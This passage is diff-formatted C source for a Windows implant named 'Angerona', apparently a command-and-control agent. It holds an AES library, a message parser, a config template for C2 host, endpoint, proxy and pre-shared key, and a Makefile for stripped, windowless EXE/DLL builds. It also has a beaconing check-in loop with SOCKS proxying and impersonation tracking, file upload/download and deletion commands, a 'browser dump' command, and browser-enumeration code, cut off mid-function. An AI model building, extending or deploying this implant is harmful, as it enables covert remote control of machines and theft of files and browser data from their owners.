// The next function call encrypts the PlainText with the Key using AES algorithm.
Cipher((state_t*)buf, ctx->RoundKey);
}
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
// The next function call decrypts the PlainText with the Key using AES algorithm.
InvCipher((state_t*)buf, ctx->RoundKey);
}
#endif // #if defined(ECB) && (ECB == 1)
#if defined(CBC) && (CBC == 1)
static void XorWithIv(uint8_t* buf, const uint8_t* Iv)
{
uint8_t i;
for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size
{
buf[i] ^= Iv[i];
}
}
void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length)
{
size_t i;
uint8_t *Iv = ctx->Iv;
for (i = 0; i < length; i += AES_BLOCKLEN)
{
XorWithIv(buf, Iv);
Cipher((state_t*)buf, ctx->RoundKey);
Iv = buf;
buf += AES_BLOCKLEN;
}
/* store Iv in ctx for next call */
memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
}
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
size_t i;
uint8_t storeNextIv[AES_BLOCKLEN];
for (i = 0; i < length; i += AES_BLOCKLEN)
{
memcpy(storeNextIv, buf, AES_BLOCKLEN);
InvCipher((state_t*)buf, ctx->RoundKey);
XorWithIv(buf, ctx->Iv);
memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
buf += AES_BLOCKLEN;
}
}
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
uint8_t buffer[AES_BLOCKLEN];
size_t i;
int bi;
for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi)
{
if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */
{
memcpy(buffer, ctx->Iv, AES_BLOCKLEN);
Cipher((state_t*)buffer,ctx->RoundKey);
/* Increment Iv and handle overflow */
for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi)
{
/* inc will overflow */
if (ctx->Iv[bi] == 255)
{
ctx->Iv[bi] = 0;
continue;
}
ctx->Iv[bi] += 1;
break;
}
bi = 0;
}
buf[i] = (buf[i] ^ buffer[bi]);
}
}
#endif // #if defined(CTR) && (CTR == 1)
@@ -0,0 +1,91 @@
#ifndef _AES_H_
#define _AES_H_
#include <stdint.h>
#include <stddef.h>
// #define the macros below to 1/0 to enable/disable the mode of operation.
//
// CBC enables AES encryption in CBC-mode of operation.
// CTR enables encryption in counter-mode.
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
#ifndef CBC
#define CBC 1
#endif
#ifndef ECB
#define ECB 1
#endif
#ifndef CTR
#define CTR 1
#endif
//#define AES128 1
//#define AES192 1
#define AES256 1
#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only
#if defined(AES256) && (AES256 == 1)
#define AES_KEYLEN 32
#define AES_keyExpSize 240
#elif defined(AES192) && (AES192 == 1)
#define AES_KEYLEN 24
#define AES_keyExpSize 208
#else
#define AES_KEYLEN 16 // Key length in bytes
#define AES_keyExpSize 176
#endif
struct AES_ctx
{
uint8_t RoundKey[AES_keyExpSize];
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
uint8_t Iv[AES_BLOCKLEN];
#endif
};
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
#endif
#if defined(ECB) && (ECB == 1)
// buffer size is exactly AES_BLOCKLEN bytes;
// you need only AES_init_ctx as IV is not used in ECB
// NB: ECB is considered insecure for most uses
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf);
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf);
#endif // #if defined(ECB) && (ECB == !)
#if defined(CBC) && (CBC == 1)
// buffer size MUST be mutile of AES_BLOCKLEN;
// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
// Same function for encrypting as for decrypting.
// IV is incremented for every block, and used after encryption as XOR-compliment for output
// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
#endif // #if defined(CTR) && (CTR == 1)
#endif // _AES_H_
@@ -0,0 +1,114 @@
#include "analizador.h"
//Creacion de un nuevo Analizador.
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
//v2 change to syscalls
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
pAnalizador->buffer = NULL;
pAnalizador->tamano = tamano;
pAnalizador->tamanoOriginal = tamano;
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
if (!pAnalizador->original) {
return NULL;
}
memcpy(pAnalizador->original, buffer, tamano);
pAnalizador->buffer = pAnalizador->original;
return pAnalizador;
}
VOID liberarAnalizador(PAnalizador analizador) {
analizador->original = NULL;
analizador->buffer = NULL;
LocalFree(analizador);
}
BYTE getByte(PAnalizador analizador) {
BYTE intByte = 0;
if (analizador->tamano < 1) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 1);
analizador->buffer += 1;
analizador->tamano -= 1;
return intByte;
}
UINT32 getInt32(PAnalizador analizador) {
UINT32 intByte = 0;
if (analizador->tamano < 4) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 4);
analizador->buffer += 4;
analizador->tamano -= 4;
return BYTESWAP32(intByte);
}
UINT64 getInt64(PAnalizador analizador) {
UINT64 intByte = 0;
if (analizador->tamano < 8) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 8);
analizador->buffer += 8;
analizador->tamano -= 8;
return BYTESWAP64(intByte);
}
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
SIZE_T length = 0;
if (*tamano == 0) {
length = getInt32(analizador);
*tamano = length;
}
else {
length = *tamano;
}
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
if (!datosDeSalida) {
return NULL;
}
memcpy(datosDeSalida, analizador->buffer, length);
analizador->buffer += length;
analizador->tamano -= length;
return datosDeSalida;
}
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
return (PCHAR)getBytes(analizador, tamano);
}
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
return (PWCHAR)getBytes(analizador, tamano);
}
@@ -0,0 +1,15 @@
#pragma once
#define ENCRYPTION_ENABLED %ENCRYPTION_ENABLED%
#define AESPSK_KEY "%AESPSK_KEY%"
#define initUUID "%UUID%"
#define hostname L"%HOSTNAME%"
#define endpoint L"%ENDPOINT%"
#define ssl %SSL%
#define proxyenabled %PROXYENABLED%
#define proxyurl L"%PROXYURL%"
#define useragent L"%USERAGENT%"
#define httpmethod L"POST"
#define port %PORT%
#define sleep_time %SLEEPTIME%
@@ -0,0 +1,89 @@
# Compiler
CC = x86_64-w64-mingw32-gcc
# Base flags
CFLAGS = -Wall -w -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -lntdll -mwindows
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -lntdll
# Debug parameters (can be overridden from command line)
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
# DEBUG_OUTPUT: console=0, file=1
DEBUG_LEVEL ?= 0
DEBUG_OUTPUT ?= 0
# Convert DEBUG_LEVEL string to number if needed
ifeq ($(DEBUG_LEVEL),none)
DEBUG_LEVEL_NUM = 0
else ifeq ($(DEBUG_LEVEL),errors)
DEBUG_LEVEL_NUM = 1
else ifeq ($(DEBUG_LEVEL),warnings)
DEBUG_LEVEL_NUM = 2
else ifeq ($(DEBUG_LEVEL),info)
DEBUG_LEVEL_NUM = 3
else ifeq ($(DEBUG_LEVEL),all)
DEBUG_LEVEL_NUM = 4
else
# Assume it's already a number
DEBUG_LEVEL_NUM = $(DEBUG_LEVEL)
endif
# Convert DEBUG_OUTPUT string to number if needed
ifeq ($(DEBUG_OUTPUT),console)
DEBUG_OUTPUT_NUM = 0
else ifeq ($(DEBUG_OUTPUT),file)
DEBUG_OUTPUT_NUM = 1
else
# Assume it's already a number
DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT)
endif
# Command enable flags (passed from builder.py)
COMMAND_FLAGS ?=
# Debug flags based on level
DEBUG_FLAGS = -DDEBUG_SOCKS -g
ifeq ($(DEBUG_LEVEL_NUM),0)
# No debug
DEBUG_FLAGS =
else
# Debug enabled - add defines for debug level and output
# DEBUG_LEVEL: 0=NONE, 1=ERR, 2=WRN, 3=INF, 4=ALL
# DEBUG_OUTPUT: 0=CONSOLE, 1=FILE
DEBUG_FLAGS += -DDEBUG_LEVEL=$(DEBUG_LEVEL_NUM)
DEBUG_FLAGS += -DDEBUG_OUTPUT=$(DEBUG_OUTPUT_NUM)
endif
# Directories
SRC_FILES := *.c
BUILD_DIR = build
# Ensure build directory exists
$(shell mkdir -p $(BUILD_DIR))
# Build Targets
all: exe dll
debug: debug_exe debug_dll
exe: $(BUILD_DIR)/angerona.exe
dll: $(BUILD_DIR)/angerona.dll
debug_exe: $(BUILD_DIR)/angerona-debug.exe
debug_dll: $(BUILD_DIR)/angerona-debug.dll
# Executable Target
$(BUILD_DIR)/angerona.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(COMMAND_FLAGS) $(LFLAGS)
$(BUILD_DIR)/angerona-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(COMMAND_FLAGS) $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
# DLL Target
$(BUILD_DIR)/angerona.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(COMMAND_FLAGS) $(LFLAGS)
$(BUILD_DIR)/angerona-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(COMMAND_FLAGS) $(LFLAGS) $(DEBUG_FLAGS)
# Clean up
clean:
rm -rf $(BUILD_DIR)
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,26 @@
#pragma once
#ifndef FILESYSTEM_H
#define FILESYSTEM_H
#include <windows.h>
#include "analizador.h"
VOID CambiarDirectorio(PAnalizador argumentos);
VOID ListarDirectorio(PAnalizador argumentos);
BOOL ObtenerPath(PAnalizador argumentos);
VOID CopiarFichero(PAnalizador argumentos);
VOID CrearRuta(PAnalizador argumentos);
VOID EliminarRuta(PAnalizador argumentos);
VOID LeerFichero(PAnalizador argumentos);
VOID DescargarFichero(PAnalizador argumentos);
VOID SubirFichero(PAnalizador argumentos);
#endif //FILESYSTEM_H
@@ -0,0 +1,26 @@
#pragma once
#ifndef ANALIZADOR_H
#define ANALIZADOR_H
#include "utils.h"
typedef struct {
PBYTE original;
PBYTE buffer;
SIZE_T tamano;
SIZE_T tamanoOriginal;
} Analizador, * PAnalizador;
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
VOID liberarAnalizador(PAnalizador analizador);
BYTE getByte(PAnalizador analizador);
UINT32 getInt32(PAnalizador analizador);
UINT64 getInt64(PAnalizador analizador);
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
#endif
@@ -0,0 +1,128 @@
#include "crypto.h" // Include crypto.h BEFORE angerona.h to avoid redeclaration
#include "angerona.h"
#include "Config.h"
#include "socks_manager.h"
CONFIG_ANGERONA* angeronaConfig = NULL;
/* Context tracking: Current working directory and impersonation context */
static char gCurrentDirectory[MAX_PATH] = "";
static char gImpersonationContext[256] = "";
/* Get current working directory for context tracking */
PCHAR getCurrentDirectoryContext(void) {
if (gCurrentDirectory[0] == '\0') {
// Initialize with actual current directory if not set
if (GetCurrentDirectoryA(sizeof(gCurrentDirectory), gCurrentDirectory) == 0) {
gCurrentDirectory[0] = '\0';
}
}
return gCurrentDirectory;
}
/* Set current working directory for context tracking */
VOID setCurrentDirectoryContext(PCHAR cwd) {
if (cwd && strlen(cwd) < sizeof(gCurrentDirectory)) {
strncpy(gCurrentDirectory, cwd, sizeof(gCurrentDirectory) - 1);
gCurrentDirectory[sizeof(gCurrentDirectory) - 1] = '\0';
}
}
/* Get impersonation context for context tracking */
PCHAR getImpersonationContext(void) {
return gImpersonationContext;
}
/* Set impersonation context for context tracking */
VOID setImpersonationContext(PCHAR context) {
if (context) {
strncpy(gImpersonationContext, context, sizeof(gImpersonationContext) - 1);
gImpersonationContext[sizeof(gImpersonationContext) - 1] = '\0';
} else {
gImpersonationContext[0] = '\0';
}
}
/* Clear impersonation context (e.g., after rev2self) */
VOID clearImpersonationContext(void) {
gImpersonationContext[0] = '\0';
}
VOID angeronaMain() {
_inf("Inicializando configuración de Angerona");
angeronaConfig = (CONFIG_ANGERONA*)LocalAlloc(LPTR, sizeof(CONFIG_ANGERONA));
if (!angeronaConfig) {
_err("Error: fallo en LocalAlloc para angeronaConfig");
return;
}
angeronaConfig->idAgente = (PCHAR)initUUID;
angeronaConfig->hostName = (PWCHAR)hostname;
angeronaConfig->puertoHttp = port;
angeronaConfig->endPoint = (PWCHAR)endpoint;
angeronaConfig->userAgent = (PWCHAR)useragent;
angeronaConfig->metodoHttp = (PWCHAR)httpmethod;
angeronaConfig->SSL = ssl;
angeronaConfig->proxyHabilitado= proxyenabled;
angeronaConfig->urlProxy = (PWCHAR)proxyurl;
angeronaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000;
angeronaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
// Debug: print the raw values
_dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED);
_dbg("AESPSK_KEY = %s", AESPSK_KEY);
_dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY));
// Initialize AESPSK encryption if enabled
if (angeronaConfig->encryptionEnabled) {
_inf("Inicializando cifrado AES256-HMAC...");
if (crypto_init_aespsk(AESPSK_KEY)) {
_inf("Cifrado habilitado");
} else {
_err("Falló la inicialización del cifrado");
angeronaConfig->encryptionEnabled = FALSE;
}
} else {
_inf("Cifrado deshabilitado");
}
_dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u",
angeronaConfig->idAgente,
angeronaConfig->hostName,
angeronaConfig->puertoHttp,
(int)angeronaConfig->SSL,
(int)angeronaConfig->proxyHabilitado,
angeronaConfig->endPoint,
angeronaConfig->userAgent,
angeronaConfig->tiempoSleep);
_inf("Iniciando primer checkin...");
PAnalizador respuestaAnalizador = checkin();
if (!respuestaAnalizador) {
_err("Error en el primer checkin, cerrando");
return;
}
parseChecking(respuestaAnalizador);
_inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", angeronaConfig->tiempoSleep);
while (TRUE) {
rutina();
/* Si SOCKS está activo, reducir sleep para mejorar latencia */
if (socks_proxy_active) {
_dbg("SOCKS activo -> checkin rápido (100 ms)");
Sleep(100);
} else {
_dbg("SOCKS inactivo -> durmiendo %u ms", angeronaConfig->tiempoSleep);
Sleep(angeronaConfig->tiempoSleep);
}
}
}
VOID setUUID(PCHAR newUUID) {
angeronaConfig->idAgente = newUUID;
_dbg("UUID actualizado: %s", newUUID);
}
@@ -0,0 +1,42 @@
#pragma once
#ifndef ANGERONA_H
#define ANGERONA_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "utils.h"
#include "checkin.h"
#include "socks_manager.h" // <— añadido para acceso a socks_proxy_active
typedef struct {
// UUID
PCHAR idAgente;
// HTTP
PWCHAR hostName;
DWORD puertoHttp;
PWCHAR endPoint;
PWCHAR userAgent;
PWCHAR metodoHttp;
BOOL SSL;
BOOL proxyHabilitado;
PWCHAR urlProxy;
UINT32 tiempoSleep;
BOOL encryptionEnabled;
} CONFIG_ANGERONA, *PCONFIG_ANGERONA;
extern PCONFIG_ANGERONA angeronaConfig;
/* Context tracking functions */
PCHAR getCurrentDirectoryContext(void);
VOID setCurrentDirectoryContext(PCHAR cwd);
PCHAR getImpersonationContext(void);
VOID setImpersonationContext(PCHAR context);
VOID clearImpersonationContext(void);
VOID setUUID(PCHAR newUUID);
VOID angeronaMain(void);
#endif
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,16 @@
#pragma once
#ifndef BROWSER_DUMP_H
#define BROWSER_DUMP_H
#include "analizador.h"
#include "paquete.h"
// Browser dump command code (must match translator)
#define BROWSER_DUMP_CMD 0x41
// Forward declarations
VOID DumparNavegador(PAnalizador argumentos);
#endif
@@ -0,0 +1,435 @@
#undef UNICODE
#include <windows.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <stdio.h>
#include "browser_info.h"
#include "paquete.h"
#include "analizador.h"
#include "debug.h"
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "version.lib")
// Maximum path length
#define MAX_PATH_LEN 512
/**
* @brief Check if a file exists at the given path
*/
BOOL FileExists(LPCSTR path) {
DWORD dwAttrib = GetFileAttributesA(path);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
/**
* @brief Get file version information from an executable
*/
BOOL GetFileVersion(LPCSTR filePath, char* version, SIZE_T versionSize) {
DWORD dwHandle = 0;
DWORD dwSize = GetFileVersionInfoSizeA(filePath, &dwHandle);
if (dwSize == 0) {
return FALSE;
}
PBYTE pVersionInfo = (PBYTE)LocalAlloc(LPTR, dwSize);
if (!pVersionInfo) {
return FALSE;
}
if (!GetFileVersionInfoA(filePath, dwHandle, dwSize, pVersionInfo)) {
LocalFree(pVersionInfo);
return FALSE;
}
VS_FIXEDFILEINFO* pFileInfo = NULL;
UINT uLen = 0;
if (VerQueryValueA(pVersionInfo, "\\", (LPVOID*)&pFileInfo, &uLen)) {
DWORD dwFileVersionMS = pFileInfo->dwFileVersionMS;
DWORD dwFileVersionLS = pFileInfo->dwFileVersionLS;
DWORD major = HIWORD(dwFileVersionMS);
DWORD minor = LOWORD(dwFileVersionMS);
DWORD build = HIWORD(dwFileVersionLS);
DWORD revision = LOWORD(dwFileVersionLS);
snprintf(version, versionSize, "%lu.%lu.%lu.%lu",
major, minor, build, revision);
LocalFree(pVersionInfo);
return TRUE;
}
LocalFree(pVersionInfo);
return FALSE;
}
/**
* @brief Check for Chrome installation
*/
BOOL CheckChrome(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
// Common Chrome installation paths
const char* chromePaths[] = {
"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"%LOCALAPPDATA%\\Google\\Chrome\\Application\\chrome.exe",
NULL
};
char expandedPath[MAX_PATH_LEN] = {0};
for (int i = 0; chromePaths[i] != NULL; i++) {
if (ExpandEnvironmentStringsA(chromePaths[i], expandedPath, MAX_PATH_LEN) > 0) {
if (FileExists(expandedPath)) {
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
GetFileVersion(expandedPath, version, versionSize);
return TRUE;
}
} else {
// Try direct path if expansion fails
if (FileExists(chromePaths[i])) {
strncpy_s(path, pathSize, chromePaths[i], _TRUNCATE);
GetFileVersion(chromePaths[i], version, versionSize);
return TRUE;
}
}
}
return FALSE;
}
/**
* @brief Check for Edge installation
*/
BOOL CheckEdge(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
// Common Edge installation paths
const char* edgePaths[] = {
"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"%LOCALAPPDATA%\\Microsoft\\Edge\\Application\\msedge.exe",
NULL
};
char expandedPath[MAX_PATH_LEN] = {0};
for (int i = 0; edgePaths[i] != NULL; i++) {
if (ExpandEnvironmentStringsA(edgePaths[i], expandedPath, MAX_PATH_LEN) > 0) {
if (FileExists(expandedPath)) {
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
GetFileVersion(expandedPath, version, versionSize);
return TRUE;
}
} else {
if (FileExists(edgePaths[i])) {
strncpy_s(path, pathSize, edgePaths[i], _TRUNCATE);
GetFileVersion(edgePaths[i], version, versionSize);
return TRUE;
}
}
}
return FALSE;
}
/**
* @brief Check for Firefox installation
*/
BOOL CheckFirefox(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
// Common Firefox installation paths
const char* firefoxPaths[] = {
"C:\\Program Files\\Mozilla Firefox\\firefox.exe",
"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe",
"%APPDATA%\\Mozilla\\Firefox\\firefox.exe",
NULL
};
char expandedPath[MAX_PATH_LEN] = {0};
for (int i = 0; firefoxPaths[i] != NULL; i++) {
if (ExpandEnvironmentStringsA(firefoxPaths[i], expandedPath, MAX_PATH_LEN) > 0) {
if (FileExists(expandedPath)) {
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
GetFileVersion(expandedPath, version, versionSize);
return TRUE;
}
} else {
if (FileExists(firefoxPaths[i])) {
strncpy_s(path, pathSize, firefoxPaths[i], _TRUNCATE);
GetFileVersion(firefoxPaths[i], version, versionSize);
return TRUE;
}
}
}
return FALSE;
}
/**
* @brief Check for Opera installation
*/
BOOL CheckOpera(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
// Common Opera installation paths
const char* operaPaths[] = {
"C:\\Program Files\\Opera\\opera.exe",
"C:\\Program Files (x86)\\Opera\\opera.exe",
"%LOCALAPPDATA%\\Programs\\Opera\\opera.exe",
NULL
};
char expandedPath[MAX_PATH_LEN] = {0};
for (int i = 0; operaPaths[i] != NULL; i++) {
if (ExpandEnvironmentStringsA(operaPaths[i], expandedPath, MAX_PATH_LEN) > 0) {
if (FileExists(expandedPath)) {
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
GetFileVersion(expandedPath, version, versionSize);
return TRUE;
}
} else {
if (FileExists(operaPaths[i])) {
strncpy_s(path, pathSize, operaPaths[i], _TRUNCATE);
GetFileVersion(operaPaths[i], version, versionSize);
return TRUE;
}
}
}
return FALSE;
}
/**
* @brief Check for Brave installation
*/
BOOL CheckBrave(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
// Common Brave installation paths
const char* bravePaths[] = {
"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
"C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
"%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
NULL
};
char expandedPath[MAX_PATH_LEN] = {0};
for (int i = 0; bravePaths[i] != NULL; i++) {
if (ExpandEnvironmentStringsA(bravePaths[i], expandedPath, MAX_PATH_LEN) > 0) {
if (FileExists(expandedPath)) {
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
GetFileVersion(expandedPath, version, versionSize);
return TRUE;
}
} else {
if (FileExists(bravePaths[i])) {
strncpy_s(path, pathSize, bravePaths[i], _TRUNCATE);
GetFileVersion(bravePaths[i], version, versionSize);
return TRUE;
}
}
}
return FALSE;
}
/**
* @brief Get default browser from registry
*/
BOOL GetDefaultBrowser(char* browserName, SIZE_T nameSize, char* browserPath, SIZE_T pathSize) {
HKEY hKey = NULL;
char progId[256] = {0};
DWORD progIdSize = sizeof(progId);
char httpProgId[256] = {0};
DWORD httpProgIdSize = sizeof(httpProgId);
// Try to get default browser from HTTP protocol association
if (RegOpenKeyExA(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\Shell\\Associations\\URLAssociations\\http\\UserChoice",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
if (RegQueryValueExA(hKey, "ProgId", NULL, NULL, (LPBYTE)httpProgId, &httpProgIdSize) == ERROR_SUCCESS) {
RegCloseKey(hKey);
// Map ProgId to browser name
if (strstr(httpProgId, "ChromeHTML") != NULL) {
strncpy_s(browserName, nameSize, "Google Chrome", _TRUNCATE);
CheckChrome(browserPath, pathSize, NULL, 0);
return TRUE;
} else if (strstr(httpProgId, "MSEdgeHTM") != NULL || strstr(httpProgId, "AppX") != NULL) {
strncpy_s(browserName, nameSize, "Microsoft Edge", _TRUNCATE);
CheckEdge(browserPath, pathSize, NULL, 0);
return TRUE;
} else if (strstr(httpProgId, "FirefoxURL") != NULL) {
strncpy_s(browserName, nameSize, "Mozilla Firefox", _TRUNCATE);
CheckFirefox(browserPath, pathSize, NULL, 0);
return TRUE;
} else if (strstr(httpProgId, "OperaStable") != NULL) {
strncpy_s(browserName, nameSize, "Opera", _TRUNCATE);
CheckOpera(browserPath, pathSize, NULL, 0);
return TRUE;
} else {
strncpy_s(browserName, nameSize, httpProgId, _TRUNCATE);
return TRUE;
}
}
RegCloseKey(hKey);
}
// Fallback: try to get from HKEY_CLASSES_ROOT\http\shell\open\command
if (RegOpenKeyExA(HKEY_CLASSES_ROOT, "http\\shell\\open\\command", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
char command[MAX_PATH_LEN] = {0};
DWORD commandSize = sizeof(command);
if (RegQueryValueExA(hKey, NULL, NULL, NULL, (LPBYTE)command, &commandSize) == ERROR_SUCCESS) {
RegCloseKey(hKey);
// Extract executable path (remove quotes and parameters)
char* exePath = command;
if (command[0] == '"') {
exePath = command + 1;
char* endQuote = strchr(exePath, '"');
if (endQuote) {
*endQuote = '\0';
}
} else {
// Find first space (end of path)
char* space = strchr(exePath, ' ');
if (space) {
*space = '\0';
}
}
if (FileExists(exePath)) {
strncpy_s(browserPath, pathSize, exePath, _TRUNCATE);
// Try to identify browser from path
if (strstr(exePath, "chrome.exe") != NULL) {
strncpy_s(browserName, nameSize, "Google Chrome", _TRUNCATE);
} else if (strstr(exePath, "msedge.exe") != NULL) {
strncpy_s(browserName, nameSize, "Microsoft Edge", _TRUNCATE);
} else if (strstr(exePath, "firefox.exe") != NULL) {
strncpy_s(browserName, nameSize, "Mozilla Firefox", _TRUNCATE);
} else if (strstr(exePath, "opera.exe") != NULL) {
strncpy_s(browserName, nameSize, "Opera", _TRUNCATE);
} else if (strstr(exePath, "brave.exe") != NULL) {
strncpy_s(browserName, nameSize, "Brave", _TRUNCATE);
} else {
// Extract filename
char* filename = strrchr(exePath, '\\');
if (filename) {
filename++;
} else {
filename = exePath;
}
strncpy_s(browserName, nameSize, filename, _TRUNCATE);
}
return TRUE;
}
} else {
RegCloseKey(hKey);
}
}
return FALSE;
}
/**
* @brief Identify installed browsers and default browser
* Lists all detected browsers and identifies the system default browser
*/
VOID IdentificarNavegadores(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
UINT32 nbArg = getInt32(argumentos);
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, tareaUuid, FALSE);
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "=== Installed Browsers ===\n\n");
int browserCount = 0;
char path[MAX_PATH_LEN] = {0};
char version[64] = {0};
// Check Chrome
if (CheckChrome(path, sizeof(path), version, sizeof(version))) {
PackageAddFormatPrintf(salida, FALSE, "[%d] Google Chrome\n", ++browserCount);
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
if (strlen(version) > 0) {
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
}
PackageAddFormatPrintf(salida, FALSE, "\n");
}
// Check Edge
if (CheckEdge(path, sizeof(path), version, sizeof(version))) {
PackageAddFormatPrintf(salida, FALSE, "[%d] Microsoft Edge\n", ++browserCount);
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
if (strlen(version) > 0) {
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
}
PackageAddFormatPrintf(salida, FALSE, "\n");
}
// Check Firefox
if (CheckFirefox(path, sizeof(path), version, sizeof(version))) {
PackageAddFormatPrintf(salida, FALSE, "[%d] Mozilla Firefox\n", ++browserCount);
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
if (strlen(version) > 0) {
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
}
PackageAddFormatPrintf(salida, FALSE, "\n");
}
// Check Opera
if (CheckOpera(path, sizeof(path), version, sizeof(version))) {
PackageAddFormatPrintf(salida, FALSE, "[%d] Opera\n", ++browserCount);
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
if (strlen(version) > 0) {
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
}
PackageAddFormatPrintf(salida, FALSE, "\n");
}
// Check Brave
